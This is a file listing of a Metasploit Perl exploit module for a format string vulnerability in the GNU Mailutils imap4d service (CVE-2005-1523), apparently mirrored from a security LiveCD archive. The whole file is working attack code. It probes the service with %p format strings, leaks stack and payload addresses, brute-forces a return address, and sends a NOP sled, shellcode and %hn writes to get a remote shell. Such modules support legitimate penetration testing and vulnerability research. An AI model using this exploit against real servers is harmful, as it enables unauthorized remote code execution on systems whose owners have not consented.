home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / gnu_mailutils_imap4d.pm < prev    next >
Text File  |  2006-06-30  |  6KB  |  274 lines

  1. package Msf::Exploit::gnu_mailutils_imap4d;
  2. use base "Msf::Exploit";
  3. use strict;
  4. use Pex::Text;
  5. use IO::Socket;
  6.  
  7. my $advanced = { };
  8.  
  9. my $info = {
  10.     'Name'     => 'GNU Mailutils imap4d Format String Vulnerability',
  11.     'Version'  => '$Revision: 1.2 $',
  12.     'Authors'  => [ 'Adriano Lima <adriano [at] seedsecurity.com>', ],
  13.     'Arch'     => [ 'x86' ],
  14.     'OS'       => [ 'linux' ],
  15.     'Priv'     => 1,
  16.     'UserOpts' =>
  17.       {
  18.         'RHOST' => [1, 'ADDR', 'The target address'],
  19.         'RPORT' => [1, 'PORT', 'The target port', 143],
  20.         'DEBUG' => [0, 'BOOL', 'Enable debugging mode'],
  21.       },
  22.  
  23.     'Payload' =>
  24.       {
  25.         'Space'    => 1004,
  26.         'BadChars' => "\x00\x0a\x0d\x0c",
  27.         'MinNops'  => 200,
  28.         'Keys'     => ['+findsock'],
  29.       },
  30.  
  31.     'Description' =>
  32.       Pex::Text::Freeform(qq{
  33.         This module exploits a format string vulnerability in the GNU Mailutils imap4d
  34.     service. The discovery of this vulnerability is credited to iDEFENSE.
  35. }),
  36.  
  37.     'Refs' =>
  38.       [
  39.         ['BID'  , '13764'],
  40.         ['CVE'  , '2005-1523'],
  41.         ['OSVDB', '16857'],
  42.         ['URL'  , 'http://www.gnu.org/software/mailutils/mailutils.html'],
  43.         ['URL'  , 'http://www.idefense.com/application/poi/display?id=246&type=vulnerabilities'],
  44.       ],
  45.  
  46.     'Keys' => ['imap'],
  47.  
  48.     'DisclosureDate' => 'May 25 2005',
  49.     
  50.   };
  51.  
  52. sub new {
  53.     my $class = shift;
  54.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  55.     return($self);
  56. }
  57.  
  58. sub Check {
  59.     my $self = shift;
  60.     my $target_host = $self->GetVar('RHOST');
  61.     my $target_port = $self->GetVar('RPORT');
  62.  
  63.     my $s = Msf::Socket::Tcp->new
  64.       (
  65.         'PeerAddr'  => $target_host,
  66.         'PeerPort'  => $target_port,
  67.         'LocalPort' => $self->GetVar('CPORT'),
  68.         'SSL'       => $self->GetVar('SSL'),
  69.       );
  70.     if ($s->IsError) {
  71.         $self->PrintLine("[*] Error creating socket: " . $s->GetError);
  72.         return $self->CheckCode('Connect');
  73.     }
  74.  
  75.     my $versionReply = $s->Recv(-1, 10);
  76.  
  77.     my $packet = "A" x 1007 . "BBBB" . "CCCC" . "%p.%p.%p.%p\r\n";
  78.  
  79.     $s->Send($packet);
  80.  
  81.     my $fmtReply = $s->Recv(-1, 10);
  82.  
  83.     if($fmtReply =~ /.0x/) {
  84.         $self->PrintLine("[*] Target seems to running vulnerable version.");
  85.         return $self->CheckCode('Appears');
  86.     }
  87.  
  88.     $self->PrintLine("[*] Target does not seem to be vulnerable.");
  89.     return $self->CheckCode('Safe');
  90.  
  91.     $s->Close;
  92. }
  93.  
  94. sub Exploit {
  95.     my $self = shift;
  96.     my $target_host = $self->GetVar('RHOST');
  97.     my $target_port = $self->GetVar('RPORT');
  98.     my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
  99.  
  100.     $self->Print("[*] Reading information from target " . $target_host . ": ");
  101.  
  102.     my $offset = "a" x 3;
  103.     my $flag = 0;
  104.     my ($i,$shellAddr,$pos,$pos2,$baseAddr);
  105.  
  106.     for($i = 1; $i < 30; $i++) {
  107.  
  108.         $self->Print(".");
  109.  
  110.         my $sock = Msf::Socket::Tcp->new
  111.           (
  112.             'PeerAddr'  => $target_host,
  113.             'PeerPort'  => $target_port,
  114.             'LocalPort' => $self->GetVar('CPORT'),
  115.             'SSL'       => $self->GetVar('SSL'),
  116.           );
  117.         if ($sock->IsError) {
  118.             $self->PrintLine('');
  119.             $self->PrintLine("[*] Error creating socket: " . $sock->GetError);
  120.             return;
  121.         }
  122.  
  123.         my $serverBanner = $sock->Recv(-1, 10);
  124.  
  125.         my $load = "A" x 1007 . "BBBB" . "CCCC:" . '%' . $i . '$p' . ":\r\n";
  126.  
  127.         $sock->Send($load);
  128.  
  129.         my $serverResp = $sock->Recv(-1,10);
  130.         my ($left,$right) = split(/:/,$serverResp);
  131.  
  132.         if($right =~ /42424242/){
  133.             $pos = $i;
  134.             $pos2 = $pos + 1;
  135.         }
  136.  
  137.         if($right =~ /0x8/ && $i != 1 && !defined($shellAddr)){
  138.             if($flag){
  139.                 $shellAddr = $right;
  140.                 $flag = 0;
  141.             }else{
  142.                 $flag = 1;
  143.             }
  144.         }
  145.  
  146.         if($right =~ /0xbf/){
  147.             $baseAddr = $right;
  148.         }
  149.  
  150.         if($shellAddr && $pos && $baseAddr){
  151.             last;
  152.         }
  153.  
  154.         $sock->Close();
  155.         undef($sock);
  156.     }
  157.  
  158.     if(!$shellAddr || !$pos || ! $baseAddr){
  159.         $self->PrintLine('');
  160.         $self->PrintLine("[*] Error reading information from target.");
  161.         return;
  162.     }
  163.  
  164.     $self->PrintLine('');
  165.     $self->PrintLine("[*] Base: " . $baseAddr . " Payload: " . $shellAddr);
  166.     $self->Print('[*] Searching for return address: ');
  167.  
  168.     my $baseAddrul = hex($baseAddr);
  169.     my $shellAddrul = hex($shellAddr) + 0x10;
  170.  
  171.     my ($curr_ret,$new_ret,$new_ret2,$first,$second,$pad);
  172.  
  173.     for (
  174.         $curr_ret = $baseAddrul ;
  175.         $curr_ret >= ( $baseAddrul - 0x200 ) ;
  176.         $curr_ret -= 4
  177.       )
  178.     {
  179.  
  180.         my $validRet = $self->AllSeeingEye( $curr_ret, $pos, $target_host, $target_port );
  181.  
  182.         if ($validRet) {
  183.  
  184.             my $s = Msf::Socket::Tcp->new(
  185.                 'PeerAddr'  => $target_host,
  186.                 'PeerPort'  => $target_port,
  187.                 'LocalPort' => $self->GetVar('CPORT'),
  188.                 'SSL'       => $self->GetVar('SSL'),
  189.               );
  190.  
  191.             if ( $s->IsError ) {
  192.                 $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  193.                 return;
  194.             }
  195.  
  196.             my $banner = $s->Recv( -1, 10 );
  197.  
  198.             $new_ret  = pack( 'l', $curr_ret );
  199.             $new_ret2 = pack( 'l', $curr_ret + 2 );
  200.  
  201.             $first  = ( ( $shellAddrul & 0xffff0000 ) >> 16 ) - 1007 - 8;
  202.             $second = ( ( $shellAddrul & 0x0000ffff ) ) - $first - 1007 - 8;
  203.  
  204.             my $request = $self->MakeNops(1004);
  205.             substr( $request, length($request) - length($shellcode), length($shellcode), $shellcode );
  206.  
  207.             my $fmtSTR = sprintf( '%s%s%s%%%dx%%%d$hn%%%dx%%%d$hn', $offset, $new_ret2, $new_ret, $first, $pos, $second, $pos2 );
  208.             $request .= $fmtSTR . "\x0d\x0a";
  209.  
  210.             $self->PrintLine('');
  211.             $self->PrintLine(sprintf( "[*] Trying return address 0x%.8x...", $curr_ret ));
  212.  
  213.             if ( $self->GetVar('DEBUG') ) {
  214.                 $self->PrintLine("[*] Press enter to send buffer...");
  215.                 <STDIN>;
  216.             }
  217.  
  218.             $s->Send($request);
  219.             sleep(3);
  220.  
  221.             # handle client side of shellcode
  222.             $self->Handler( $s->Socket );
  223.  
  224.             $s->Close();
  225.             undef($s);
  226.  
  227.         }
  228.  
  229.         $self->Print(".");
  230.     }
  231.  
  232.     $self->PrintLine('');
  233.     $self->PrintLine('');
  234. }
  235.  
  236. sub AllSeeingEye {
  237.     my $self = shift();
  238.     my ($seeit,$position,$host,$port) = @_;
  239.  
  240.     my $sc = Msf::Socket::Tcp->new
  241.       (
  242.         'PeerAddr'  => $host,
  243.         'PeerPort'  => $port,
  244.         'LocalPort' => $self->GetVar('CPORT'),
  245.         'SSL'       => $self->GetVar('SSL'),
  246.       );
  247.  
  248.     if (($seeit & 0x000000ff) == 0) {
  249.         return 0;
  250.     }
  251.  
  252.     my $seeit_new = pack('l', $seeit);
  253.  
  254.     my $findRET = "A" x 1007 . $seeit_new . ':%' . $position . '$s' . ":\r\n";
  255.  
  256.     $sc->Send($findRET);
  257.  
  258.     my $inside = $sc->Recv(-1,10);
  259.  
  260.     my ($crap,$stuff) = split(/:/,$inside);
  261.  
  262.     my $pad = substr($stuff,0,4);
  263.  
  264.     $sc->Close();
  265.  
  266.     if ($pad =~ "\x04\x08") {
  267.         return 1;
  268.     }
  269.  
  270.     return 0;
  271. }
  272.  
  273. 1;
  274.